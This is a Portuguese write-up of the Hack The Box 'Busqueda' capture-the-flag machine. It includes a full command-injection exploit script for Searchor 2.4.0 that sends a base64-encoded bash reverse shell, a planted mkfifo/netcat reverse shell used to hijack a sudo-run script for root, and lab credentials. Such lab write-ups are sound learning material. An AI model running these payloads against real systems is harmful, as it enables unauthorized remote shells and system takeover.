Busqueda
Enumeration
nmap 10.10.11.208

Associei o IP ao domain no /etc/hosts:
IP=10.10.11.208
printf "%s\t%s\n\n" "$IP" "searcher.htb" | sudo tee -a /etc/hosts
Acedi ao Site e vi que a versão a ser utilizada era "Searchor 2.4.0", tendo depois pesquisado um PoC que tivesse haver com alguma vulnerabilidade existente na versão;
Exploitation
Searchor 2.4.0
Searchor 2.4.0 PoC 'https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection'
nano exploit.sh
#!/bin/bash
default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash  -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"
echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"
if [ -z "${evil_cmd##*$plus*}" ]
then
    evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi
if [ $# -ne 0 ]
then
    echo "[*] Input target is $1"
    echo "[*] Input attacker is $2:${port}"
    echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
    curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else
    echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example:
./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi
Formato de execução: (9001 Default)
./exploit.sh TARGET ATTACKER PORT
Adicionei o PoC no Kali e executei criando um listener no porto 9001 enquanto isso:
nano exploit.sh
chmod +x exploit.sh
nc -lvnp 9001
./exploit.sh searcher.htb 10.10.4.2


Acedi á user flag e conclui a Exploitation:
cd /home/svc
cat user.txt

Privilege Escalation
Foram encontradas credencias cody:jh1usoih2bkjaspwe92 para aceder ao Git:
cd /var/www/app/.git
cat config

Acedi por ssh á máquina com as credenciais svc:jh1usoih2bkjaspwe92:
ssh svc@10.10.11.208
jh1usoih2bkjaspwe92

SUDO - system-checkup.py
Descobri que há um programa em Python que pode ser explorado para obter permissões root:
sudo -l

sudo python3 /opt/scripts/system-checkup.py *

sudo python3 /opt/scripts/system-checkup.py docker-ps

sudo python3 /opt/scripts/system-checkup.py docker-inspect

Fui pesquisar para ver os formatos que o comando podia dar e relacionei os comandos utilizados com os comandos existentes do Docker tendo chegado á conclusão que pode ser usado o formato JSON e para isso é preciso instalar o jq para converter para o formato em JSON. A máquina em si já apresenta o formato desejado.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' 960873171e2e | jq

Obtive as credenciais administrator:yuiu1hoiu4i5ho1uh
Adicionei o subdominio gitea ao /etc/hosts:
echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts
Acedi ao http://gitea.searcher.htb e fiz login com a password obtida anteriormente mas como Administrador.

Como posso utilizar o script system-checkup.py explorei melhor o código do mesmo e acabei por encontrar um bash script ./full-checkup.sh que está a ser executado dentro do programasystem-checkup.py:

Denotar que o programa referencia apenas o bash script e não o caminho do programa, querendo dizer que o bash script está localizado no mesmo local que o python script;
cd /opt/scripts/
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Juicy Part
Como o programa apresenta-se a funcionar corretamente vou então criar um bash script designado full-checkup.sh de forma a ser executado em vez do original:
cd /tmp
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f" > /tmp/full-checkup.sh
chmod +x full-checkup.sh

nc -lvnp 4444
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

A Shell é criada na nossa máquina e obtemos permissões de root na máquina local.
É criado uma TTY shell e pesquisado a flag:
python3 -c 'import pty;pty.spawn("/bin/bash");'
pwd
cd /root
ls
